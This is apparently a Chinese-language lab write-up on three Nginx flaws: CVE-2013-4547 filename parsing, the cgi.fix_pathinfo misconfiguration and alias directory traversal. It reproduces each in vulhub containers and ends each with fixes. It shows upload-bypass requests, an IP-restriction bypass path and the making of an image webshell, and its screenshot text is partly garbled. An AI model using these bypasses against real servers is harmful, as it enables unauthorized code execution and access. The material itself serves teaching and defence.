一、Nginx
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Nginx 是由俄罗斯程序员伊戈尔・赛索耶夫开发的开源 Web 服务器软件，源代码以 2-clause BSD 许可证开放，可免费用于商业与个人场景。
其采用异步非阻塞事件驱动架构，结合 Linux 下的epoll、BSD 下的 kqueue 等高效事件通知机制，专为解决传统 Web 服务器面临的 C10K（一万个并发连接）问题设计，从诞生之初就确立了高并发、低资源消耗的核心技术目标。
二、CVE-2013-4547
漏洞描述
文件名逻辑漏洞 -- CVE-2013-4547
Nginx在解析URL时会因为空格和截断符的存在，错误地解析请求的URL。所以可以通过添加非编码空格和截断符绕过文件后缀的限制。
Nginx是怎么读取文件的呢？
当nginx读取到.php文件时，会将文件传递给Fast CGI进行解析，常用写法：
location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}
正常情况下，也只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下，我们请求1.gif\[0x20][0x00].php，这个URI可以匹配上正则\.php$，可以进入这个Location块；但进入后，Nginx却错误地认为请求的文件是1.gif[0x20]，就设置其为SCRIPT_FILENAME的值发送给fastcgi。
fastcgi根据SCRIPT_FILENAME的值进行解析，最后造成了解析漏洞。
所以，我们只需要上传一个空格结尾的文件，即可使PHP解析。
什么是Fast CGI
FastCGI（Fast Common Gateway Interface）是一种通用的、平台无关的、轻量级的进程间通信协议，用于在Web服务器和应用程序服务器之间进行通信。
允许Web服务器（Nginx）将请求传递给应用程序服务器（PHP-FPM），并接收应用程序服务器处理后的响应，然后将其发送回客户端。
举个例子
比如很多网站限制了允许访问后台的IP：
location /admin/ {
    allow 127.0.0.1;
    deny all;
}
我们可以请求如下URI：/test[0x20]/../admin/index.php，
这个URI不会匹配上location后面的/admin/，也就绕过了其中的IP验证；
但最后请求的是/test[0x20]/../admin/index.php文件，也就是/admin/index.php，成功访问到后台。
（这个前提是需要有一个目录叫"test "：这是Linux系统的特点，如果有一个不存在的目录，则即使跳转到上一层，也会爆文件不存在的错误，Windows下没有这个限制）
影响范围
Nginx 0.8.41 - 1.4.3 / 1.5.0 - 1.5.7
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./nginx/CVE-2013-4547/
root@ubuntu:~/vulhub/nginx/CVE-2013-4547# docker compose up -d
直接上传php后缀文件
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抓取数据包，将php后缀名修改为jpg a.php，其中a是作为占位符存在
[image: ]
切换为16进制，将61修改为00
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上传成功
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传入成功
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修复建议
升级版本
三、解析漏洞
漏洞描述
该漏洞是配置不当导致的解析漏洞。
通常nginx会把.php结尾的文件交给FastCGI处理，假设请求的URL是这样/uploadfiles/a.png/a.php，如果FastCGI在处理/a.php文件时发现这个文件不存在，并且配置文件中的配置项cgi.fix_pathinfo=1默认开启（路径修复：如果当前路径不存在则采用上级路径），那么此时这里交由fastcgi处理的文件就会变成/a.png。
还有一点就是 php-fpm.conf 中的security.limit_extensions配置项会限制FastCGI解析文件的类型。当设置为空的时候才允许fastcgi将.png等文件当做php代码解析。
影响范围
全版本
漏洞复现
进入靶场环境，启动容器
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制作图片马：
copy test.jpg/b + shell.php/a shell.jpg
# /b 标识按照二进制读取文件
# /a 按照文本读取文件
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上传制作的图片马，上传成功且得到路径：
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访问路径并且加上.php，成功读取：
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加上/.php，则会解析其中的php代码
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修复建议
将php.ini文件中的cgi.fix_pathinfo的值设置为0
php-fpm.conf中的security.limit_extensions后面的值设置为.php
四、目录穿越漏洞
漏洞描述
当配置Nginx访问静态资源时，如果alias路径后没有配置/，而location路径后也没有配置/，就可能出现目录穿越漏洞。
location /files {
    alias /home/;
}
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影响范围
全版本
漏洞复现
进入靶场环境，启动容器：
root@ubuntu:~/vulhub# cd ./nginx/insecure-configuration/
root@ubuntu:~/vulhub/nginx/insecure-configuration# docker compose up -d
当访问/files../时，Nginx实际处理的路径是/home/../，从而实现了穿越目录
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修复建议
修正 alias 斜杠
增加路径校验，禁止..路径序列
开启文件权限最小化
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User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHIML, like Gecko) Chrome/145.0.0.0
Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;g=0.9, image
/avif, image/webp, image/apng, */%*;q=0. 8, application/signed—ex
change;v=b3;q=0.7

Referer: http://192.168. 124. 130:8080/

Accept—Encoding: gzip, deflate, br

Cookie: JSESSIONID=B564AA5A218C45B874232789603D6E0O
Connection:. keepralive I

—————— WebKitFormBoundaryHrmgDive05z1Xk5z
Content—Disposition: form—data: name="file upload”;
filename="shell. jpg .php”

Content—Type: application/octet—stream

<?php phpinfo() ?>
—————— WebKitFormBoundaryHrmgDive05z1Xk5z—
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HTTP/1.1 200 OK

Server: nginx/1.4.2

Date: Sun, 23 Aug 2026 11:07:09 GMT
Content—Type: text/html; charset=UTF-8
Connection: keep—alive

X-Powered-By: PHP/5. 6. 40
Content—-Length: 64

File uploaded successfully: /var/www/html/uploadfiles/shell. jpg
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mathias@MathiasdeMacBook-Pro nginx_parsing_vulnerability % docker compose up —-d
[+] up 2/2
v Container nginx_parsing_vulnerability-php-1  Started
v Container nginx_parsing_vulnerability-nginx-1 Started
mathias@MathiasdeMacBook-Pro nginx_parsing_vulnerability % docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS
NAMES
ff1344d2e84b  vulhub/nginx:1.11.13  “"nginx —-g 'daemon of.." 3 seconds ago Up 1 second
0->80/tcp, 0.0.0.0:443->443/tcp, [::1:443->443/tcp  nginx_parsing_vulnerability-nginx-1
d8b3bea7dc60 vulhub/php:7.1.3-fpm "docker—-php-entrypoi.." 3 seconds ago Up 2 seconds

PORTS
0.0.0.0:80->80/tcp

9000/tcp
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C:\Users\Mathias\Desktop>copy 111.png/b + shell.php/a shell.png
111. png

shell. php
&Y= 1 AN
C:\Users\Mathias\Desktop>
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File uploaded successfully: /var/www/html/uploadfiles/00bf23e130fa1e525€332ff03dae345d.png
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System Linux 641c7f56d90f 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026
x86_64

Build Date Mar 212017 23:18:15

Configure Command './configure' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d"

'--disable-cgi' '--enable-ftp' --enable-mbstring' '--enable-mysqlnd' '--with-curl' '--with-libedit" --with-
openss!' --with-zlib' '--enable-fpm" --with-fpm-user=www-data" '--with-fpm-group=www-data"

Server API FPM/FastCGlI
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[root@6540fabes88a:/etc/nginx/conf.d# cat error2.conf
server {

listen 8081;

root /usr/share/nginx/html;

index index.html;

server_name _;

autoindex on;
location /files {

alias /home/;

b
}root@6540fabes88a:/etc/nginx/conf.d# |
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